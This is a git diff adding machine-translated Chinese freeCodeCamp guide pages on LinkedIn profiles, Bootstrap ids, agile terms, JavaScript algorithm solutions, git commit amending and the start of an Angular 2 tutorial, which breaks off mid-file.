+localeTitle: 在Linkedin中添加免费代码营
+---
+LinkedIn将Free Code Camp视为一所大学。
+
+您可以[在这里](https://www.linkedin.com/edu/school?id=166029)探索我们的校友活动。
+
+您应该将Free Code Camp添加到您的LinkedIn个人资料。这是如何做：
+
+*   点击此链接： [添加免费代码营](https://www.linkedin.com/profile/edit-education?school=Free+Code+Camp)
+*   请遵循以下说明： ![](//discourse-user-assets.s3.amazonaws.com/original/2X/8/8b138a334f9cfc075fee7379b515a173a154934b.png)
+
+一旦您完成我们的课程（或完成至少一个非营利项目，然后获得编码工作），我们将向您发放官方的Full Stack Web Development证书，您也可以将其添加到您的LinkedIn个人资料中。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/add-id-attributes-to-bootstrap-elements/index.md b/client/src/guide/chinese/miscellaneous/add-id-attributes-to-bootstrap-elements/index.md
new file mode 100644
index 0000000000..175d7d8a61
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/add-id-attributes-to-bootstrap-elements/index.md
@@ -0,0 +1,11 @@
+---
+title: Add Id Attributes to Bootstrap Elements
+localeTitle: 将Id属性添加到Bootstrap元素
+---
+回想一下，除了类属性之外，您还可以为每个元素赋予一个id属性。
+
+每个id对于特定元素应该是唯一的。请记住，您可以为元素提供如下ID：
+```
+<div class="well" id="center-well"> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/adding-envirioment-variables-in-windows/index.md b/client/src/guide/chinese/miscellaneous/adding-envirioment-variables-in-windows/index.md
new file mode 100644
index 0000000000..3557608c85
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/adding-envirioment-variables-in-windows/index.md
@@ -0,0 +1,15 @@
+---
+title: Adding Envirioment Variables in Windows
+localeTitle: 在Windows中添加Envirioment变量
+---
+### 通过GUI
+
+1.  下载[Varpanel](http://implbits.com/products/varpanel/) 。
+2.  打开Varpanel。
+3.  在PATH变量中，添加相关路径（例如）。
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2ba273241acdbf4164bae20216c975d0e2ceff08.gif)
+
+### 通过命令行
+
+请参阅超级用户的[此答案](http://superuser.com/a/284351/275797) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/advantages-of-using-free-code-camp/index.md b/client/src/guide/chinese/miscellaneous/advantages-of-using-free-code-camp/index.md
new file mode 100644
index 0000000000..9f2f3c9b08
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/advantages-of-using-free-code-camp/index.md
@@ -0,0 +1,13 @@
+---
+title: Advantages of Using Free Code Camp
+localeTitle: 使用免费代码营的优势
+---
+免费代码营的主要优势在于我们可以为想要改变职业的繁忙成年人提供服务。
+
+具体来说，我们是：
+
+*   自由
+*   自定进度
+*   基于浏览器
+
+与其他Code-Camp / School环境相比，此课程中最显着的差异之一是**高水平的支持** ：使用聊天室获取帮助，指导和协助其他编码人员可以让您更好地理解代码，更轻松地访问解释，它是实时的，所以你可以质疑混乱。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/agile-project-management-terminology/index.md b/client/src/guide/chinese/miscellaneous/agile-project-management-terminology/index.md
new file mode 100644
index 0000000000..23c849c6c1
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/agile-project-management-terminology/index.md
@@ -0,0 +1,57 @@
+---
+title: Agile Project Management Terminology
+localeTitle: 敏捷项目管理术语
+---
+在Free Code Camp志愿者项目期间，我们使用敏捷项目管理方法。对于我们的许多营员和利益相关者来说，这是他们第一次接触敏捷。虽然您不希望成为敏捷专家，但这里有一些术语，有助于了解：
+
+*   **任务板** - 一个图表，列出了需要完成的工作，正在处理的工作以及已完成的工作。我们使用Trello作为我们的任务板。
+*   **冲刺** - 一个发展时期。我们通常使用一周的冲刺长度。
+*   **Sprint会议** - 在每个sprint结束时召开的会议，讨论所取得的进展并征求反馈意见。通常也称为冲刺审查。
+*   **利益相关者** - 开发团队之外对项目及其开发感兴趣的人。
+*   **用户素材** - 产品必须满足/包含的要求或功能。
+
+有关敏捷的其他信息，您可以查看维基百科上的[敏捷管理](https://en.wikipedia.org/wiki/Agile_management)页面，或查看[敏捷项目管理傻瓜备忘单](http://www.dummies.com/how-to/content/agile-project-management-for-dummies-cheat-sheet.html) 。
+
+## 我们使用的工具
+
+[GoToMeeting](http://www.gotomeeting.com) - 我们使用GoToMeeting举办在线项目管理会议。
+
+[When2Meet](http://www.when2meet.com) - 我们使用When2Meet与团队分享我们的可用性。
+
+[Trello](http://www.trello.com) - 我们使用Trello跟踪我们的志愿者Web开发项目。
+
+[Google日历](https://www.google.com/calendar) - 我们使用Google日历来跟踪我们的项目会议。
+
+## Trello Board标准布局
+
+为项目设置Trello板时，请创建以下列表（按此顺序从左到右）。
+
+*   **一般信息** - 此列表将包括可能对团队有用的一般信息，例如当前站点的链接，当前或建议的工作流程的描述，或者对开发团队有用的任何其他信息。
+*   **项目范围** - 此列表提供项目应完成的概要。
+*   **用户故事** - 这些是开发必须包含的_特定_功能。
+*   **正在进行** - 这些是团队目前正在处理的用户故事。
+*   **最近完成** - 这是团队自上次项目会议以来完成的用户故事。
+*   **演示** - 这些是客户演示并接受的用户故事。
+
+## 组织范围呼叫
+
+进行中。
+
+## Sprint呼叫清单
+
+### 大会前1-2天
+
+*   查看Google日历活动，并与未响应的任何人联系。
+
+### 会议期间和会议期间
+
+1.  在安排通话前10分钟发送会议邀请和详细信息。
+2.  至少提前5分钟加入会议。您应该取消静音并与营员和利益相关者进行对话。
+3.  显示和告诉时间。询问露营者“那么你本周的工作是什么？你想分享你的屏幕和演示吗？”
+4.  问营员们“你这周遇到了什么问题吗？”
+5.  浏览“最近完成”列表中的每张卡片，确保已解决用户故事。
+6.  询问利益相关方是否对最近完成的用户故事有任何疑问。
+7.  在讨论了每张最近完成的卡之后，将其拖到Demo'd列表中。
+8.  询问露营者“你打算在本周工作什么？”
+9.  将所选用户故事卡拖到“进行中”列表中。
+10.  安排下一个sprint会议。 “下周同一时间？”通常效果很好。不要忘记使用Google日历发送邀请。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/algoritmo-confirma-la-terminacin/index.md b/client/src/guide/chinese/miscellaneous/algoritmo-confirma-la-terminacin/index.md
new file mode 100644
index 0000000000..57e17d1a0b
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/algoritmo-confirma-la-terminacin/index.md
@@ -0,0 +1,42 @@
+---
+title: Algoritmo Confirma La Terminacin
+localeTitle: 算法确认完成
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/a/a081f3fa5316b7d400a5e518bb0620eef64caa08.jpg)
+
+### 解释：
+
+该函数只是一个布尔运算。如果第一个参数以第二个参数结束，则必须返回true。这意味着例如问题`confirmEnding('Bastian', 'n');` ，必须返回true。
+
+## 线索：1
+
+看一下`substr()`工作原理。你应该尝试获取最后的X个字符。
+
+## 线索：2
+
+要获取最后的X个字符，必须使用length（）并将其转换为负数。
+
+## 线索：3
+
+检查您是否具有正确的语法，并使用`===`进行比较。
+
+## 扰流板警报！
+
+![警告标志](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**解决方案如下**
+
+## 代码解决方案
+```
+function confirmEnding(str, target) { 
+  return str.substr(-target.length) === target; 
+ } 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [运行代码](https://repl.it/CLjU/18)
+
+## 代码说明：
+
+我们使用带有返回目标长度的负值的subtring（）。我们可以使用-1来获取最后一个字符，但如果目标长度实际上大于1，那么该函数将返回不正确的信息。然后我们返回其boolanea表达式的值。
+
+> **注意：**如果您已在文章中添加了**相关内容** ，请仅添加您的用户名。 （请不要删除任何现有名称。）
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/algoritmo-de-argumentos-opcionales/index.md b/client/src/guide/chinese/miscellaneous/algoritmo-de-argumentos-opcionales/index.md
new file mode 100644
index 0000000000..46660d9277
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/algoritmo-de-argumentos-opcionales/index.md
@@ -0,0 +1,164 @@
+---
+title: Algoritmo De Argumentos Opcionales
+localeTitle: 可选参数的算法
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/f/ff2fd8ffa014eea28587a8ef4933340d3dcc4b09.jpg)
+
+### 解释：
+
+理解应该做什么可能有点复杂。当我们编程时，有不同的做法。无论使用何种算法，我们都需要创建一个执行以下操作的函数：
+
+*   您必须添加两个作为参数接收的数字并返回结果。
+*   您必须检查这两个数字是否真的是数字，否则返回**undefined**并在此时停止该功能。
+*   您必须检查收到的参数是一个还是两个。如果还有更多，则应忽略它们。
+*   如果只接收到一个参数，则必须返回接受另一个参数的函数，然后进行添加。
+
+## 线索：1
+
+每次你参加辩论时，你必须检查它是否真的是一个数字。为避免重复代码，您应该创建一个处理此任务的函数。
+
+## 线索：2
+
+当需要返回该函数时，建议检查第一个和唯一参数是否为新数字，并将代码作为基础。
+
+## 线索：3
+
+在只收到一个参数的情况下，不要担心如何请求第二个参数，只需正确定义函数，一切都会正常工作。
+
+## 扰流板警报！
+
+![警告标志](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**解决方案如下**
+
+## 代码解决方案
+```
+function addTogether() { 
+  // Función para comprobar si un número es realmente un número 
+  // y retornar undefined en caso contrario. 
+  var checkNum = function(num) { 
+    if (typeof num !== 'number') { 
+      return undefined; 
+    } else 
+      return num; 
+  }; 
+ 
+  // Comprobar si tenemos dos parámetros y si ambos son números 
+  // En caso que no lo sean retornamos undefined 
+  // retornamos la suma 
+  if (arguments.length > 1) { 
+    var a = checkNum(arguments[0]); 
+    var b = checkNum(arguments[1]); 
+    if (a === undefined || b === undefined) { 
+      return undefined; 
+    } else { 
+      return a + b; 
+    } 
+  } else { 
+    // Si solo es encontrado un parámetro retornamos una nueva función para solicitar un segundo parámetro 
+    // Guardamos el primer argumento antes de entrar al scope de la nueva función 
+    var c = arguments[0]; 
+ 
+    // Comprobamos que sea número de nuevo, debe ser fuera del objeto que retornaremos 
+    // en lugar de undefined. 
+    if (checkNum(c)) { 
+      // // Retornamos la función que espera el segundo parámetro. 
+      return function(arg2) { 
+        // Comprobamos que no sean números. 
+        if (c === undefined || checkNum(arg2) === undefined) { 
+          return undefined; 
+        } else { 
+          // Si lo son, sumamos. 
+          return c + arg2; 
+        } 
+      }; 
+    } 
+  } 
+ } 
+ 
+ // realizamos el test 
+ addTogether(2,3); 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [在REPL中！](https://repl.it/CLnz/0)
+
+### 代码说明：
+
+*   首先，我们创建一个函数，唯一的目的是检查一个数字是否真的是一个数字，如果不是，我们返回undefined。使用**typeof**进行检查。
+*   我们检查是否有两个参数，如果有，我们使用**checkNum**函数检查它们是否为数字。
+*   如果参数**未定义，**我们添加它们并返回总和。如果其中一个未定义，那么我们返回undefined。
+*   如果我们只有一个参数，那么我们返回一个需要两个参数的新函数。为此，我们在输入函数之前存储第二个参数以避免覆盖参数。
+*   即使在第一个_我们_需要检查保存的参数是一个数字，如果是，那么我们返回等待第二个参数的函数。
+*   现在在我们将返回的函数内部，我们必须使用**checkNum**检查新参数是否为数字，如果未定义，我们将返回该值，否则我们将添加数字并返回结果。
+
+## 二解决方案：
+```
+function addTogether() { 
+  var args = new Array(arguments.length); 
+  // Almacenamos los argumentos en un array. 
+  for(var i = 0; i < args.length; ++i) { 
+    args[i] = arguments[i]; 
+  } 
+  // Comprobamos la cantidad de argumentos. 
+  if(args.length == 2){ 
+    // Si hay dos argumentos, comprobamos el tipo de ambos 
+    // Utiliza typeof para comprobar el tipo de argumentos. (ambos deben ser números) 
+    if(typeof args[0] !== 'number' || typeof args[1] !=='number' ){ 
+      return undefined; 
+    } 
+    return args[0]+args[1]; 
+  } 
+  // Cuando solo un argumento es provisto. 
+  if(args.length == 1){ 
+    a = args[0]; 
+    // Comprobamos el tipo utilizando typeof. 
+    if(typeof a!=='number'){ 
+      return undefined; 
+    } 
+    else{ 
+      // Hacemos uso de las funciones internas. 
+      return function(b){ 
+      // Comprobamos el segundo parámetro. 
+      if(typeof b !=='number'){ 
+        return undefined; 
+      } 
+      else 
+        return a+b; 
+      }; 
+    } 
+  } 
+ } 
+ 
+ // realizamos el test 
+ addTogether(2,3); 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [在REPL中！](https://repl.it/CLoA/0)
+
+## 第三种方案：
+```
+//jshint esversion: 6 
+ function addTogether() { 
+  var args = Array.from(arguments); 
+  return args.some(n => typeof n !== 'number') ? 
+    undefined: 
+    args.length > 1 ? 
+      args.reduce((acc, n) => acc += n, 0): 
+      (n) => typeof n === "number" ? 
+        n + args[0]: 
+        undefined; 
+ } 
+ 
+ // realizamos el test 
+ addTogether(2,3); 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [在REPL中！](https://repl.it/CLoB/0)
+
+### 代码说明：
+
+*   首先，我们迭代参数并验证它们是数字，如果它们不是，我们返回undefined。
+*   然后我们检查参数数量是否大于1，如果我们使用`Array.prototype.reduce`添加参数
+*   否则，如果我们不返回undefined，则返回一个函数，该函数检查接收的参数是否为数字并添加它。
+
+> **注意：**如果您已在文章中添加了**相关内容** ，请仅添加您的用户名。 （请不要删除任何现有名称。）
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/algoritmo-mensaje-secreto/index.md b/client/src/guide/chinese/miscellaneous/algoritmo-mensaje-secreto/index.md
new file mode 100644
index 0000000000..354a58e467
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/algoritmo-mensaje-secreto/index.md
@@ -0,0 +1,148 @@
+---
+title: Algoritmo Mensaje Secreto
+localeTitle: 秘密消息算法
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/7/70cf3cc5462f69c2f770ad42d0f24f240a8d8f13.jpg)
+
+### 解释：
+
+这个问题非常简单，您将获得一个代表二进制代码中的短语的字符串，您必须将其翻译成单词。没有直接的方法可以这样做，所以你必须翻译两次。
+
+## 线索：1
+
+首先，您必须从**二进制**转换为**十进制** ，然后将其转换为字符。
+
+## 线索：2
+
+如果您专注于小部件，将消息分成您收到的内容并且一次只关注一个字母，事情会变得更容易。
+
+## 线索：3
+
+确保将二进制代码转换为十进制字符后，重置用于执行转换的任何变体。另外，不要忘记将所有东西放回一条链上。
+
+## 扰流板警报！
+
+![警告标志](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**解决方案如下**
+
+## 代码解决方案
+```
+function binaryAgent(str) { 
+  biString = str.split(' '); 
+  uniString = []; 
+ 
+  // Utilizando el parámetro base en parseInt podemos convertir el número 
+  // binario a número decimal mientras simultáneamente lo convertimos a carácter. 
+ 
+  for(i=0;i < biString.length;i++){ 
+    uniString.push(String.fromCharCode(parseInt(biString[i], 2))); 
+  } 
+  // Simplemente unimos la cadena. 
+  return uniString.join(''); 
+ } 
+ 
+ // realizamos el test 
+ binaryAgent("01000001 01110010 01100101 01101110 00100111 01110100 00100000 01100010 01101111 01101110 01100110 01101001 01110010 01100101 01110011 00100000 01100110 01110101 01101110 00100001 00111111"); 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [在REPL中！](https://repl.it/CLnm/0)
+
+# 代码说明：
+
+*   我们将字符串分隔为由空格分隔的字符串数组。
+*   我们创建了一个必要的变量，名称是不言自明的。
+*   我们遍历新的二进制矩阵。
+*   我们使用parseInt（ _二进制_ ，2）转换为十进制（第二个参数我们告诉你我们的数字当前是什么基础）
+*   最后，我们返回转换后的消息。
+
+## 二解决方案：
+```
+function binaryAgent(str) { 
+  // Separamos el código binario por sus espacios. 
+  str = str.split(' '); 
+  var power; 
+  var decValue = 0; 
+  var sentence = ''; 
+ 
+  // Comprobamos cada número binario de la matriz. 
+  for (var s = 0; s < str.length; s++) { 
+    // Comprobamos cada bit del número binario. 
+    for (var t = 0; t < str[s].length; t++) { 
+      // Esto solo toma en consideración los activos. 
+      if (str[s][t] == 1) { 
+        // Esto es equivalente a 2 ** posición. 
+        power = Math.pow(2, +str[s].length - t - 1); 
+        decValue += power; 
+ 
+        // Guardamos el valor decimal sumándolo al anterior. 
+      } 
+    } 
+ 
+    // Luego de que el número binario es convertido a decimal, lo convertimos en una cadena y lo guardamos. 
+    sentence += (String.fromCharCode(decValue)); 
+ 
+    // Reseteamos el valor decimal para el próximo número binario. 
+    decValue = 0; 
+  } 
+ 
+  return sentence; 
+ } 
+ 
+ // realizamos el test 
+ binaryAgent("01000001 01110010 01100101 01101110 00100111 01110100 00100000 01100010 01101111 01101110 01100110 01101001 01110010 01100101 01110011 00100000 01100110 01110101 01101110 00100001 00111111"); 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [在REPL中！](https://repl.it/CLno/0)
+
+# 代码说明：
+
+*   对于每个二进制链，我们检查那些并忽略零。
+*   对于那些一个或活跃的人，我们将它们转换为十进制。这考虑了它必须提升的位置和适当的功率。
+*   我们将功率保存在可变**功率中，**将其添加到变量**decValue中**的先前**功率** 。此变量将继续将资源的权力添加到循环的末尾，然后返回十进制数。
+*   我们将最终的十进制数转换为ASCII，并将其与已经转换和存储的任何其他文本字符串一起添加到**句子**变量中。
+*   我们重置**decValue**变量的值以避免在继续外部循环之前出现错误的小数。
+
+## 第三种方案：
+```
+function binaryAgent(str) { 
+  return String.fromCharCode(...str.split(" ").map(function(char){ return parseInt(char, 2); })); 
+ } 
+ 
+ // realizamos el test 
+ binaryAgent("01000001 01110010 01100101 01101110 00100111 01110100 00100000 01100010 01101111 01101110 01100110 01101001 01110010 01100101 01110011 00100000 01100110 01110101 01101110 00100001 00111111"); 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [在REPL中！](https://repl.it/CLnp/0)
+
+# 代码说明：
+
+*   首先，我们使用`split()`将每个字符作为矩阵元素。
+*   然后我们使用`map()`使用`pareseInt()`将每个二进制元素处理为十进制
+*   最后，我们可以使用`String.fromCharCode()`将每个ASCII编号转换为其对应的字符。
+*   但是， `fromCharCode()`需要一系列数字而不是矩阵。我们可以使用ES6 Spread Operator将一组数字作为单独的数字传递。更多信息： [https](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator) ： [//developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread\_operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator)
+
+## 第四解决方案
+```
+function binaryAgent(str) { 
+  var re = /(\d+)(\s?)/g; 
+  function convertToChar(match,p1,p2){ 
+    return String.fromCharCode(parseInt(p1, 2)); 
+  } 
+  return str.replace(re, convertToChar); 
+ } 
+ 
+ // realizamos el test 
+ binaryAgent("01000001 01110010 01100101 01101110 00100111 01110100 00100000 01100010 01101111 01101110 01100110 01101001 01110010 01100101 01110011 00100000 01100110 01110101 01101110 00100001 00111111"); 
+```
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 "：火箭：") [在REPL中！](https://repl.it/CLnr/0)
+
+# 代码说明：
+
+*   在这个解决方案中，我们使用`String.replace()`来查找所有二进制数并将它们转换为字符。
+*   首先，我们使用正则表达式来查找所有二进制数和可选的最终空格。
+*   接下来，我们定义一个函数，它使用`parseInt()`将每个第一个子符号转换为数字，然后使用`String.fromCharCode()`转换为一个字符。通过不使用第二个subcoincidence，我们将每个二进制数之间的所有空格都放在一边。
+*   最后，我们使用正则表达式和定义为`String.replace()`参数的函数。
+
+> **注意：**如果您已在文章中添加了**相关内容** ，请仅添加您的用户名。 （请不要删除任何现有名称。）
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/alternatives-to-popular-windows-and-mac-software/index.md b/client/src/guide/chinese/miscellaneous/alternatives-to-popular-windows-and-mac-software/index.md
new file mode 100644
index 0000000000..b2561e508b
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/alternatives-to-popular-windows-and-mac-software/index.md
@@ -0,0 +1,44 @@
+---
+title: Alternatives to Popular Windows and Mac Software
+localeTitle: 流行的Windows和Mac软件的替代品
+---
+本文充斥着Windows和Mac上流行软件的替代品，这在Linux上是不可用的。
+
+## 备择方案：
+
+> 您可以以Pull Request的形式将软件添加到此列表中。
+
+[http://alternativeto.net/](http://alternativeto.net/)是一个非常有用的网站，可以找到软件的替代品。
+
+### [Adobe Photoshop](http://www.adobe.com/products/photoshop)
+
+_说明：_ Photoshop是Adobe的照片编辑，图像创建和图形设计软件。 Photoshop对于创建网站的线框和模型非常有用。
+
+_备择方案：_
+
+*   [GIMP](https://www.gimp.org/)
+*   [Inkscape中](https://inkscape.org)
+
+### [塔塔](https://www.stata.com)
+
+_描述：_ Stata是StataCorp分发和维护的商业统计分析软件包，可用于基于脚本和GUI的统计分析。 StataCorp的官方软件包或库可以通过由[RePEC](http://repec.org) （经济学研究论文网站）主持的称为_SSC_ （波士顿学院统计软件组件档案）的用户编写脚本的强大生态系统来补充。 [StataList](http://www.statalist.org/)以消息板格式提供对等和官方支持;官方的[Stata Journal](http://www.stata-journal.com/)是一份季刊，刊登有关“统计，数据分析，教学方法和Stata语言有效使用”的同行评审文章。
+
+_备择方案：_
+
+[Alternative.to](https://alternativeto.net/software/sas-jmp/)的用户建议使用以下工具在Linux上代替Stata（也可在Linux上使用）。每个上的超链接
+
+*   [R（编程语言）](https://www.r-project.org) [及其替代品](https://alternativeto.net/software/r-project/)
+*   [R Studio](https://www.rstudio.com) [及其替代品](https://alternativeto.net/software/rstudio/)
+*   [gretl](http://gretl.sourceforge.net) [及其替代品](https://alternativeto.net/software/gretl/)
+*   [SOFA统计数据](http://www.sofastatistics.com/home.php) [及其替代方案](https://alternativeto.net/software/sofa-statistics/)
+*   [PSPP](https://www.gnu.org/software/pspp/) [及其替代品](https://alternativeto.net/software/pspp/)
+*   [RKWard](https://rkward.kde.org) [及其替代品](https://alternativeto.net/software/rkward/)
+*   [IBM SPSS Statistics](https://www.ibm.com/analytics/us/en/technology/spss/) [及其替代方案](https://alternativeto.net/software/spss/)
+*   [Deducer](http://www.deducer.org/pmwiki/pmwiki.php?n=Main.DeducerManual) [及其替代品](https://alternativeto.net/software/deducer/)
+*   [数字分析](https://www.numberanalytics.com) [及其替代方案](https://alternativeto.net/software/number-analytics/)
+*   [六西格玛计算器](http://www.whatissixsigma.net/six-sigma-calculator/) [及其替代品](https://alternativeto.net/software/six-sigma-calculator/)
+*   [Microsoft R Open，以前称为Revolution R Open](https://mran.microsoft.com/open/) [及其替代品](https://alternativeto.net/software/revolution-r/)
+*   [米格迪尔](https://www.displayr.com) [及其替代品](https://alternativeto.net/software/displayr/)
+
+![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 "：point_left：")上一页| ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 "：书：")家![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 "：书：") |下一个![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 "：point_right：")  
+[**下载文本编辑器和IDE**](//forum.freecodecamp.com/t/downloading-text-editors-and-ides/18384) | [**目录**](//forum.freecodecamp.com/t/setting-up-ubuntu-for-programming/18388) | [**下载并安装Ubuntu Desktop**](//forum.freecodecamp.com/t/download-and-install-ubuntu-desktop/18383)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/amending-the-most-recent-commit-message/index.md b/client/src/guide/chinese/miscellaneous/amending-the-most-recent-commit-message/index.md
new file mode 100644
index 0000000000..41c10f019f
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/amending-the-most-recent-commit-message/index.md
@@ -0,0 +1,40 @@
+---
+title: Amending the Most Recent Commit Message
+localeTitle: 修改最新提交的消息
+---
+通常，会出现提前提交最后一次提交（丢失文件，丢失文件中的更改等）或提交消息可能输入错误或不完整的情况。对于这样的场合，Git提供了`--amend` commit标志。要修改提交，请先输入：
+```
+git commit --amend 
+```
+
+以上将提交任何其他更改并打开您的编辑器，允许您更改最近提交的提交消息。此外，您可以在命令行中直接设置提交消息：
+```
+git commit --amend -m "New commit message" 
+```
+
+如果要向提交添加文件或更改，只需确保在运行命令之前使用`git add`将更改添加到登台。此外，如果要添加所有已观看，已修改的文件（在暂存或其他情况下）并更改提交，您可以使用：
+```
+git commit --amend -am "New commit message" 
+```
+
+`-a`标志表示添加Git告诉跟踪的所有文件。
+
+## 推送到远程后修改提交
+
+当使用`--amend`标志时，Git将使用新的哈希替换最后一次提交。这意味着如果您在修改之前已经推送到远程，那么任何后续推送都将丢失旧提交，并且将拒绝任何新推送。解决这个问题的方法是 - `--force`推动。 _注： `--force`不应轻易完成。_为此，请键入：
+```
+git push <remote> <branch> --force 
+```
+
+**要么**
+```
+git push <remote> <branch> -f 
+```
+
+强制推送将使用本地状态覆盖远程分支。如果远程分支上有您在本地分支中没有的提交，则会丢失它们。如果其他人已经从您的回购中提取或克隆，这可能会导致问题。如果您认为其他人_可能_已经下载了修改过的提交，请与他们协调。
+
+## 也可以看看
+
+*   [git-commit（1）手册页](https://www.kernel.org/pub/software/scm/git/docs/git-commit.html)
+*   [亲Git](https://git-scm.com/book/en/v2/Git-Tools-Rewriting-History)
+*   [堆栈溢出](http://stackoverflow.com/questions/179123/edit-an-incorrect-commit-message-in-git/179147#179147)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/angular-2-starter-project/index.md b/client/src/guide/chinese/miscellaneous/angular-2-starter-project/index.md
new file mode 100644
index 0000000000..813da5b397
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/angular-2-starter-project/index.md
@@ -0,0 +1,240 @@
+---
+title: Angular 2 Starter Project
+localeTitle: Angular 2入门项目
+---
+本教程将使用Angular2构建一个非常简单的种子项目。我们将从最基本的应用程序开始，然后添加更多功能。
+
+## 概观
+
+通过创建包含角度特定标记的HTML模板来构建Angular 2应用程序。然后创建类来管理模板，并将所有内容包装到一个模块中，您可以将它们拼凑在一起以创建应用程序。这些模块称为**组件** 。
+
+Angular解释这些模块并使用它们在浏览器中显示您的应用程序。
+
+## 入门申请
+
+让我们开始使用最小的应用程序。我们将从包含单个模块的应用程序开始，该模块的唯一工作是显示一些文本。
+
+我们将首先创建一个名为“app”的新文件夹。
+```
+$ mkdir app 
+```
+
+如上所述，我们的应用程序将从单个模块或**组件开始** ，它将向屏幕显示一些文本。我们可以使用纯JavaScript或TypeScript来制作一个有角度的2应用程序。使用TypeScript，它更容易，更方便程序员![:wink:](//forum.freecodecamp.com/images/emoji/emoji_one/wink.png?v=2 "：眨眼：")
+
+让我们学习如何使用TypeScript创建组件。
+
+创建一个名为_`app.component.ts`_的文件，如下所示：
+```
+    // app.component.ts 
+ 
+    import { Component } from '@angular/core'; 
+    @Component({ 
+      selector: 'my-app', 
+      template: '<h1>Free Code Camp Rocks!</h1>', 
+      styles: <a href='http://plnkr.co/edit/BdvNONEmO3Jwg0EavX22' target='_blank' rel='nofollow'>` 
+        h1 { color: darkgreen; font-family: Arial, Helvetica, sans-serif;} 
+      `] 
+    }) 
+    export class AppComponent { } 
+```
+
+每个Angular 2应用程序至少有一个组件，通常名为**AppComponent** 。组件使用其中的模板管理页面的一部分。
+
+我们的组件演示了您将要编写的任何组件的基本结构。它包含：
+
+*   **import语句**来引入我们需要的其他组件
+*   **组件装饰器** ，让angular知道要使用哪个模板以及如何创建组件。基本上，任何与组件相关的元数据。
+*   **组件类** ，它控制组件的外观和行为
+
+让我们仔细看看组件中的每一行。
+
+## 进口
+```
+import { Component } from '@angular/core'; 
+```
+
+由于角度应用程序是模块化的，我们可以导入我们可能需要的任何其他模块或库。在这里，我们将导入Angular 2核心模块，以使我们的组件可以访问`@Component`装饰器。每个应用都需要此导入才能开始使用。
+
+由于我们导入了上面的`Component`函数，我们现在可以使用它来将元数据与我们的组件类相关联，这将告诉Angular我们应该如何创建组件以及它将提供的操作。
+
+## 组件装饰器
+```
+    @Component({ 
+      selector: 'my-app', 
+      template: '<h1>Free Code Camp Rocks!</h1>' 
+    }) 
+ ``` 
+ Our metadata object has selector and template fields. 
+ * The `selector` specifies a CSS selector that indicates which HTML element will represent this component. The element we will use will be named "`my-app`". Angular will use this to create an instance of our component where it finds this element. 
+ * The `template` tells angular what template it will use for this component. This can refer to other Components or just a form of HTML that tells how to display the view for our component. Our template is just displaying an `h1` element containing the text "`Free Code Camp Rocks!`". 
+ 
+ ## Component Class 
+ Our final line provides an empty class named ***AppComponent*** 
+ ```js 
+ export class AppComponent { } 
+ ``` 
+ If we want to build a more complex component we can add logic and properties to the class. This component is extremely basic and simply displays some html, so its class will remain empty. 
+ 
+ We export our class so we can use it in other components in our application. 
+ 
+ Next, we need to connect our root component to Angular. To do this we create another file in our app folder called *`main.ts`* that will have the following code: 
+ ```js 
+    import { bootstrap }    from '@angular/platform-browser-dynamic'; 
+    import { AppComponent } from './app.component'; 
+    bootstrap(AppComponent); 
+ ``` 
+ This file imports the two items we need to start our app. 
+ * **`bootstrap`** - Angular's built in method that connects to the browser 
+ * **`AppComponent`** - Our component we created above (which is why we exported it) 
+ We then call `bootstrap` method with `AppComponent` 
+ 
+ **Finally, create index.html** 
+ 
+ ```html 
+    <html> 
+      <head> 
+        <title>Free Code Camp - Angular 2 Tutorial</title> 
+        <meta charset="UTF-8"> 
